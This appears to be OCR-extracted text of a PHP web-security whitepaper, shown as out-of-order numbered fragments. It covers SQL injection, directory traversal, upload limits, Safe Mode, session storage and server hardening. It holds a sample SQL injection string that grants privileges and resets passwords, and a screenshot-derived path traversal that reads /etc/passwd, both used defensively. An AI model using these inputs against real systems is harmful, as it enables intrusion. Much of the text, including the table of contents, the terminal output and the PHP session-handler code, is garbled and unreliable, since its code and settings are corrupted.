36. ng is also provided by Safe Mode Using the php ini directive or setting in htaccess or a virtual hosting section or directory section in httpd conf below it is possible to relax the user ID check to a group ID check That is if the script has the same group ID as the file on which a file operation was requested the operation will succeed If the script owners and the web server are members of the same group and all hosted files are owned by this group the file operations will succeed regardless of user ID safe_mode_gid On The user and group ID restrictions are not enforced for files which are located within the PHP include directories provided those directories are specified in the safe_mode_include_dir directive This means that you should always specify the default PHP include directories in this directive in the php ini configuration file 6 2 2 Restricting Access To Environment Variables When PHP is running in Safe Mode it restricts access to environment variables based on two php ini directives Directives are provided for allowing write access to certain environment variables and for restricting write access to certain environment variables Each is a comma delimited list of affected environment variables 6 2 3 Restrictions On Running External Programs Restrictions are also imposed on the execution of external processes i e not PHP scripts Binaries in the specified safe directory may be executed See the Configuratio
37. old to start a session it will check if the user already has a session and read their data back in unserializing it and assigning the variables This allows you to keep track of a user across multiple visits or while browsing multiple pages on your site For example you can create a shopping cart using sessions storing an array of items added to the cart in a session variable and loading it on every page When the user clicks Add to cart you can add the item to the array and it will be saved for the next page the user goes to The whole array can be fetched on your checkout page and appropriate processing will take place 7 2 How Do Sessions Work As many probably know HTTP is a stateless protocol By stateless mean that any HTTP connection is unaware of previous connections made by the same client to the same server persistent connections excepting There are two useful ways in which PHP can pass identification information between pages in order to uniquely associate a user with a session PHP can use cookies to store a session ID The cookie value is sent on every request so PHP can match that up to its session data and retrieve the correct set of variables for that user Another way is to pass the session ID in URLs In order to do this URL rewriting must be enabled Search The following cookies are stored on your computer Site Cookie Name CR secunty forurms cor secun orumas com SF DC Cookie Si secunty forums co
38. ould have to perform checks yourself to make sure that the disk being used as the destination for these uploaded files contains enough space that the file upload will not cause the free space to go below a critical amount required for the functioning of the system If the web server or any other service on the system cannot create the files it needs to perform its duty because uploaded files have filled the available drive space this is a form of Denial of Service attack Individual POST requests can be limited in size using the following directive in the php ini file post_max_size 8M Where the 8M sets an 8MB limit for the entire POST request Note that file uploads make up only a part of the multi part HTTP POST request and that if multiple files are uploaded the sum of their sizes forms the total file upload size which is only one part of the POST request size To control file upload size specifically you can use the following php ini directive upload_max_filesize 2M Where 2M specifies a 2MB filesize limit Once again note that this is the total file size for all files included in the POST request and not a per file limit The upload_max_filesize should be slightly smaller than the post_max_size because the POST request will contain other data headers and form fields beyond the file data itself The default post_max_size is 10MB which is much larger than most sites require Processing a POST request takes time so limiting
39. quests that data be associated with in the session store database function destroy_fn Ssession_id session_id is the ID of a session which may be removed from the store function gc_fn S max_time Smax time is the oldest last modified time to retain in the session store Sessions with an older modified time than this are to be removed from the store Implementing the above functions you are not limited simply to database connections You could for instance connect to some other data storage application or store the session data in an encrypted virtual filesystem or on a network file server 7 7 Further Securing Sessions There are a few remaining PHP directives for controlling sessions several of these have security implications Firstly the session name set with session name should be changed from the default to avoid collisions especially on servers with multiple users The session cookie_path directive determines the default cookie path the path for which cookies will be sent in an HTTP request If you have a forum at somedomain com forum and somedomain com does not require session management you can change session cookie_path as shown below lt Location forum gt php_value session cookie_path forum lt location gt This prevents sections of your site which do not require the session cookie from being sent it and limits exposure of the session IDs to those parts of a site where sessions are actual
40. rre 17 4 2 ue elle Ee EE 18 4 3 FIG gn E e EE 20 4 4 UNIX File ge Te EE 20 Salm 2818 8 ole 10 cee en meee ETE Re ern nner rue E 22 6 PHP Sale ee EE 27 6 1 What IS Safe Mode eeciccccccuicishits Gees EEee 27 6 2 What Does Safe Mode Restrct NN 27 6 2 1 Restricting File e 27 6 2 2 Restricting Access To Environment Variables cccccceeseeeeeeeeeeeeeneees 28 6 2 3 Restrictions On Running External Programs cccecseceeeeeeeeeeeeneeeeneees 28 6 2 4 Other Restrictions IMPOSE ccececceeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeseeeeeneeneeeenees 28 6 3 Safe Mode Configuration Direcives 29 6 4 Functions Restricted By Safe Mode AE 30 6 5 Overriding Safe Mode SettingS ssssssrsrsrsrrsrsrersrsrrrrrrrrrrererrrrrrrrererereresre 31 TB OSSION Security woe res vueialatt St ues Ee 33 Tol Wid Ate SESSIONS EE 33 7 2 How Do Sessions Work EE 33 Fed USING SESSION EE 34 7 4 Trusting Session RE 35 7 5 Changing The Session File Path 35 7 6 Storing Sessions In A Database A 36 7 7 Further Securing SESSIONS ccccccecceceeceeeeeeeeeeeeeeceeneeeeeaeeeeeeeeeeseeaeeneeneenenaes 38 8 Beyond PHP Security EE 40 8S tere EIER 40 8 2 Apache mod_chroot amp mod_security eect cette eee teen tena eeee neta eeeeeeeeaeeeaes 40 EIERE nn TS meas aa ee 40 8 4 Multiple Server Instances ege ESREK d t ENNEN 41 9 Acunetix Web Vulnerability Scanner ceccceeceeeeeeeeeeeeeeeeeeeneeeeeseeeeeeeneeeeenenaes 42 9 1 How To Check For PHP Vu
41. section at http www php net manual en security php provides specific hints on securing the PHP interpreter itself and on securing your own PHP code They produce a PHP Security guide as well as listing numerous articles and other resources for the security conscious PHP programmer 10 1 2 The PHP Security Consortium http phpsec org The PHP Security Consortium aim to promote secure programming practices in PHP 10 1 3 PHP Advisories http www phpadvisory com 10 1 4 Acunetix Web Site Security Center http www acunetix com websitesecurity 10 2 SQL Security Resources 10 2 1 The PHP Manual again http www php net manual en security database php This section of the PHP manual relates specifically to database security when combined with PHP 10 2 2 PostgreSQL Security Advisories http www postgresql org support security html 10 2 3 MySQL Bugs Database http bugs mysql com 10 3 Apache Security Resources 10 3 1 mod_chroot Homepage http core segfault pl hobbit mod_chroot 10 3 2 mod_security Homepage http www modsecurity org 10 3 3 Apache suEXEC Manual http httpd apache org docs 1 3 suexec html 10 3 4 Apache Reverse Proxy Manual http httopd apache org docs 1 3 mod mod_proxy html 10 3 5 Apache Security Reports http httod apache org security_report html 11 Afterword In writing this whitepaper have focussed on the aspects of PHP security which have solu
42. ses working with files and accepting uploads from the user it is time to take a look at PHP s built in support for additional security restrictions Use of PHP Safe Mode is recommended for almost all production sites in particular those in a multi user hosting environment 6 1 What Is Safe Mode Safe mode is an attempt to solve some of the problems that are introduced when running a PHP enabled web server in a shared hosting environment The additional security checks imposed by Safe Mode are however performed at the PHP level since the underlying web server and operating system security architecture is usually not sufficient to impose the necessary security restrictions for a multi user environment in which many users may be able to upload and execute PHP code The problem generally arises when PHP is run in a web server which hosts and executes scripts provided by multiple users Since the web server process itself runs as a single system user that user account must have access to each hosted user s files This means that any script running on the web server has access to each user s files It is not possible to use operating system level security to restrict which files can be accessed since the web server process and hence PHP needs access to all of them in order to serve user web pages The only available solution is to address these issues at the PHP level PHP Safe Mode does just this it imposes a set of restrictions on multi
43. sions are split into three parts a user part a group part and an others part The user permissions apply to the user whose userid is specified as the owner of the file The group permissions apply to the group whose groupid is specified as the group owner of the file and the other permissions apply to everyone else The permissions are set as a sum of octal digits for each part where read permission is 4 write permission is 2 and execute permission is 1 To create UNIX file permissions add each permission digit you want to apply to each part then combine the three to get a single octal number note on the command line chmod automatically treats numbers as octal in PHP you need to specify a leading zero The permissions are also commonly displayed in the form of r read w write and x execute written three times in a single row The first three form the user permissions second the group and third others Take for example a file owned by user andrew and group users The user andrew must be able to read write and execute the file the users group must be able to read and execute it and everyone else must be able to execute only This corresponds to rwxr x x where each is a placeholder for the missing character of permissions w for instance in the group and rw in the others The at the front is due to the fact that there is an extra part which specifies other UNIX specific attributes The Is directory listing
44. t is essential to reduce the permissions on this file to a bare minimum only the system user under which the database process itself runs should have read or write access to the data files The web server does not need access as it will communicate with the database system for its data instead of accessing the files directly vojst Terminal t usr local mysql pwd fusr local mysql total 92 rw r r A Rem Ke rw r r ry mg drwxr xr x ke wl gg druxr x drwxr xr x drwxr xr x drwxr xr x drwxr xr x drwxr xr x drwxr xr x drwxr xr x drwxr xr x root root root root root root mysq root root root root root root root root tfusr local mysql ls 1 mysql mysql mysql mysql mysql mysql 1 mysql mysql mysql mysql mysql mysql mysql mysql mysql 19071 2006 04 29 05335 5712 2006 04 29 06324 6111 2006 04 29 06324 1380 2006 04 29 05335 4096 2006 04 29 06341 801 2006 04 29 06340 4096 2006 06 13 23 50 4096 2006 04 29 06340 4096 2006 04 29 06341 4096 2006 04 29 06341 4096 2006 04 29 06340 4096 2006 04 29 06341 4096 2006 04 29 06341 4096 2006 04 29 06341 4096 2006 04 29 06341 COPYING EXCEPT IONS CLIENT INSTALL BINARY README bin conf igure data docs include lib ran mysql test scripts share s4ql bench root root drwxr xr x drwxr xr x mysql 4096 2006 04 29 06 41 mysql 4096 2006 04 29 06 41 t usr local mysql cd data data Permission denied t usr loc
45. ternative to suEXEC is to use multiple instances of the web server each one running with the permissions of a different user Each server then only has the permissions it needs to serve a single website so a reverse proxy must be used as a front to all of these server instances redirecting requests for a virtually hosted website to the Apache instance responsible for actually serving that site This solution is the most secure but also the most resource hungry Information about using Apache as a reverse proxy is available at http httopd apache org docs 1 3 mod mod_proxy html 9 Acunetix Web Vulnerability Scanner 9 1 How To Check For PHP Vulnerabilities The best way to check whether your web site amp applications are vulnerable to PHP security attacks is by using a Web Vulnerability Scanner A Web Vulnerability Scanner crawls your entire website and automatically checks for vulnerabilities to PHP attacks It will indicate which scripts are vulnerable so that you can fix the vulnerability easily Besides PHP security vulnerabilities a web application scanner will also check for SQL injection Cross site scripting amp other web vulnerabilities The Acunetix Web Vulnerability Scanner scans for SQL injection Cross site scripting Google hacking and many more vulnerabilities For more information visit http www acunetix com 9 2 Check if your website is vulnerable to attack Get a free security audit performed by Acunetix staff us
46. th dbname php_value session name session_data lt Location gt Next a table for storing session data must exist in the database At the minimum your session handler should keep track of the session ID the expiration time and the serialized session data The SQL below creates a simple table for storing this data CREATE TABLE session_data sessionid text not null PRIMARY KEY expiration timestamp sessiondata text not null D The final task is to create the functions which manage this session store and register them with session_set_save_handler The open_fn must open the database connection the close_fn must close it and perform any associated cleanup tasks and the read_fn and write_fn functions must read and write session data respectively destroy_fn is called when a session ends and is destroyed and gc_fn is called when session data is garbage collected These operations must be mapped into database queries by your PHP code The prototypes for the functions are given below and parameters passed are explained function open_fn Ssave_path session_name save_path is the value of session save_path session_name is the value of session name Zomme LOM CloOSse_itin Takes no arguments fonction read ita SSessiom_icl Saata session_id is the session ID for which PHP requests the associated session data to be returned function write fn Ssession id session_id is the session ID for which PHP re
47. the size of the request prevents an attacker from initiating several large POST requests which would use up resources on the server and deny service to other users Setting this value to a lower value around 2MB for sites which require small file uploads or under 1MB for sites which do not should improve the responsiveness of the server if it is under attack Uploaded files are moved to a temporary directory since they are processed by the web server itself before PHP can see them The default location for temporary files is the system temporary file directory which is usually defined to be tmp on a UNIX system This temporary file directory is often readable by all users and therefore storing uploaded files here even temporarily is not good security since any user with access to the system is likely to have access to the uploaded file data between the time it was uploaded and the time that a PHP script moves the file into its final destination It is considered good practice to change the directory used for uploading temporary files to one which is owned by the user under which the web server and consequently PHP runs and prevent other users accessing this directory The following line in php ini tells PHP to use a different location for temporary storage of uploaded files upload_tmp_dir var www tmp You can change var www tmp to a different directory suitable for your server layout and create it using the following cd
48. ting and character escapes have been performed Combining the above techniques to provide stripping of tags escaping of special Shell characters entity quoting of HTML and regular expression based input validation it is possible to construct secure web scripts with relatively little work over and above constructing one without the security considerations In particular using a function such as the _INPUT presented above makes the secure version of input acquisition almost as painless as the insecure version PHP provides 3 Database Security An increasingly large number of websites rely on databases to drive their interactivity to store and display the latest content and to track user accounts Adding this extra database layer into the PHP web application running on your site brings with it a set of unique problems Techniques presented here help to mitigate the damaging capacity of these problems and prevent them ever occurring 3 1 SQL Injection SQL Structured Query Language is the language used to interface with many database systems including MySQL PostgreSQL and MSSQL Certain words and characters are interpreted specially by SQL as commands separators or command terminators for instance When a user enters data into a form there is nothing stopping them entering these special commands and characters Consider the PHP code below Squery INSERT INTO orders address VALUES S_GET address Sresu
49. tions or partial solutions There are many aspects of web security for which given the current state of the world of web applications no such solution exists and the best practices involve mitigating risks and costs due to these issues Here have presented an overview of the common problems in PHP security along with the PHP functionality most used in eliminating them As with many computing tasks these solutions are not the only way to achieve security Certainly there is no one right way and along your journey through the world of PHP security you will find others often respected professionals doing things a different way Different circumstances in a different product may require a different approach to security but the mechanisms presented here should be generic enough to apply in most situations The resources section section 10 and the Acunetix Web Vulnerability Scanner section 10 should provide useful starting points for progression beyond the topics covered in this document and there is no substitute for experience Andrew J Bennieston January 2007
50. tive may be a colon separated list of directories for which inclusion is allowed without user or group ID checking being performed Note that this restriction acts as a directory prefix rather than a complete directory name As such a value of home wwwroot inc allows files within home wwwroot inc home wwwroot incl home wwwroot include and home wwwroot incriminating_evidence to be included without restriction If in doubt always end the directory path with a trailing to prevent it being interpreted as a prefix such as those listed above safe_mode _exec_dir string This directive specifies the path under which executables may be run in Safe Mode This restriction affects system exec popen and passthru The directory separator must always be a even on a Windows server safe_mode _allowed_env_vars string This directive specifies prefixes for environment variables which may be altered by a script running in Safe Mode The default action is to allow users to edit environment variables beginning with PHP_ i e have a prefix of PHP_ If this directive is left empty a script running under safe mode will be able to modify any environment variable safe_mode _protected_env_vars string Similarly to above this directive allows you to specify environment variables which may not be edited by the script Even if safe_mode_allowed_env_vars also includes an environment variable listed here PHP will prevent a script c
51. to execute part of the content of the form field as though it were SQL The effects of this attack range from the harmless simply using SELECT to pull another data set to the devastating DELETE for instance In more subtle attacks data could be changed or new data added 1 2 Directory Traversal This attack can occur anywhere user supplied data from a form field or uploaded filename for example is used in a filesystem operation If a user specifies etc passwda as form data and your script appends that to a directory name to obtain user specific files this string could lead to the inclusion of the password file contents instead of the intended file More severe cases involve file operations such as moving and deleting which allow an attacker to make arbitrary changes to your filesystem structure Terminal chaos pwd fusr local share pixmaps chaos cat 4 46 00 4 etc passud roottx2010 t roott bin bash bingx1 1 binz bin chaos ls Directory Traversal Interpretation of the special directory names and can be used to alter the interpretation of a complete path 1 3 Authentication Issues Authentication issues involve users gaining access to something they shouldn t but to which other users should An example would be a user who was able to steal or construct a cookie allowing them to login to your site under an Administrator session and therefore be able to change
52. to come into the shop or a personal site exhibiting your holiday photos web security matters After the hard work put in to make your site look good and respond to your users the last thing you want is for a malicious hacker to come along and break it somehow There are a number of problems in web security and unfortunately not all of them have definite solutions but this looks at some of the problems that should be considered every time you set out to write a PHP script These are the problems which with well designed code can be eliminated entirely Before looking in detail at the solutions though let s take a moment to define the problems themselves 1 1 SQL Injection Bl i u Quote Coad Gel List img URL Font SC Default gt Font size Normal zl Close Tags Ordered list list textf list altro SQL Injection GRANT ALL ON TO andrew UPDATE users SET password bar S M Nisahle RRCode inthis posi anes SQL Injection Note that the quoted string is ended after the word Injection and another quoted string begins at the end This matches up with the quoting already present in the web application itself otherwise the SQL would be incorrect and an error would occur In an SQL Injection attack a user is able to execute SQL queries in your website s database This attack is usually performed by entering text into a form field which causes a subsequent SQL query generated from the PHP form processing code
53. to prevent this kind of attack we must take heed of the advice from part three of this series stripping the filename down to remove the path data and distrust the browser supplied filename In doing so it is ideally best to create unique file names locally perhaps based on the current time or some unique sequence stored in a secure database and to use those unique names as the actual on disk filename In order to avoid confusing end users it is possible to map the real unique filename to the browser supplied filename by means of a database and the browser supplied name can be used for all interaction with the user whereas the unique locally generated filename will be used for any server side file operations If such a mechanism is not practical for whatever reason the precautions from part three should be followed and the browser supplied filename should be expanded to an absolute path using the realpath function and then the file name part only obtained with the basename function realpath translates any which refers to the current directory or which refers to the parent directory in a path resulting in the correct absolute path for a file basename strips the directory part of a name leaving behind just the filename itself This sanitised filename should then be reasonably safe to use directly with the file functions of PHP However if an attacker somehow managed to learn your directory structure then they ma
54. unctions are used to ensure that the file being operated on was an uploaded file and an attacker did not trick us into moving some system or other important file into a location from which the web server can access it directly and the browser supplied filename is displayed to the user for consistency The example could have been greatly improved for example checking that the free disk space is not below a certain level before moving the file into it so as to prevent filling the drive or storing a mapping of local unique name to browser supplied name in a database As a final word on file uploads it is often a good idea to store uploaded files outside of the web server s document tree even if these files are to be retrieved later It is possible to create a PHP script download php which takes a filename in a GET request and uses readfile to send the file to the user creating the appropriate headers for length and content type This is much safer than allowing direct download especially of user uploaded files since the script can perform additional checking to make sure that the requested file is one which should be downloadable and can also perform other housekeeping such as tracking download counts or imposing limitations Allowing downloads through the web server directly eliminates much of this security and functionality 6 PHP Safe Mode Now that we have seen the dangers associated with processing user data working with databa
55. ures Further information is available at http www modsecurity org for mod_security and at http core segfault pl hobbit mod_chroot for mod_chroot 8 3 SUEXEC Using a chroot to lock your web server into a restricted environment helps to prevent some security problems but one of the big issues is shared hosting Running multiple websites on the same server requires that the web server process has access to each user s files If the web server has access so do the other users Subject to PHP Safe Mode restrictions of course There are two ways around this one which is Apache specific and one which may be deployed on any server environment SUEXEC specific to Apache switches an Apache process to be owned by the same user as the script it is executing losing any escalated permissions This locks that Apache instance into the permissions held by that user rather than the permissions held by the master web server process itself This mechanism allows a return to the more traditional permissions system and each user can be reasonably sure his or her files are protected The cost of this is that an Apache process may not then be promoted back to regain permissions and switch user again to serve a different user s files This system works best when there will be many requests for pages owned by the same user SUEXEC is explained in more detail at http httpd apache org docs 1 3 suexec html 8 4 Multiple Server Instances An al
56. y be able to overwrite other files in the directory into which you place any uploaded files by providing an upload with the same name as an existing one or with the same name as one of your PHP scripts which may then get included into another script and executed or executed directly by web access to that script if it is in a location accessible to the web server The script execution scenario represents a very clear security threat as has been explained in the previous parts of this series but many more subtle security issues can occur as a result of replacement of a variety of system files files PHP or the web server rely on or files used by your web application itself To maintain the best security locally generated and unique filenames should be preferred over the browser supplied ones and checks for the existence of a file should be made prior to moving an uploaded file into a directory so as to prevent accidental or intentional overwriting of files already on the server File uploads can be turned off altogether if there is no reason for your web application to accept uploaded files This may be achieved by setting the following directive in php ini file_uploads Off When file uploading is turned on it is possible for the drive to become filled by repeated uploads or by large files being uploaded PHP provides a mechanism to limit the length of any uploaded files preventing the upload of files larger than this size but you w
57. y connect and issue SELECT or INSERT queries thus preserving any data already entered against DELETE or DROP commands The specifics of achieving such protection will depend on the database system you re using and consulting the documentation or user manual should reveal how to implement access control The user designated as the database owner should never be used to connect to the database from a PHP script owner privileges should be used on consoles or web admin interfaces such as phpmysqladmin If a script requires the DELETE or UPDATE commands it should ideally use a separate user account to the standard account so that the standard account can only add data using INSERT and retrieve data using SELECT This separation of permissions prevents attacks by limiting the effectiveness of any one SQL injection avenue If by poor or forgetful programming a user can inject SQL into one script they will gain only SELECT INSERT permissions or only UPDATE DELETE permissions and never sufficient permissions to drop entire tables or modify the table structure using the ALTER command 3 4 File Permissions Data in a database system must be stored somehow on disk The database system itself is responsible for exactly how the data is stored but usually there will be a data directory under which the database keeps its files On a shared hosting system or a system which allows users some access to the filesystem i

Download Pdf Manuals

image

Related Search

Related Contents

Bravetti EP552HB Mixer User Manual  joints - Mapei  Samsung 2033SN Manuel de l'utilisateur  「消防用ホース」を安全にお使い頂くために  Analysis of high-speed opto-biological data from excitable tissues  Click to user manual  千葉南版  DIGITAL CLAMP METER DIGITAL  - HKR  Rapport  

Copyright © All rights reserved.
Failed to retrieve file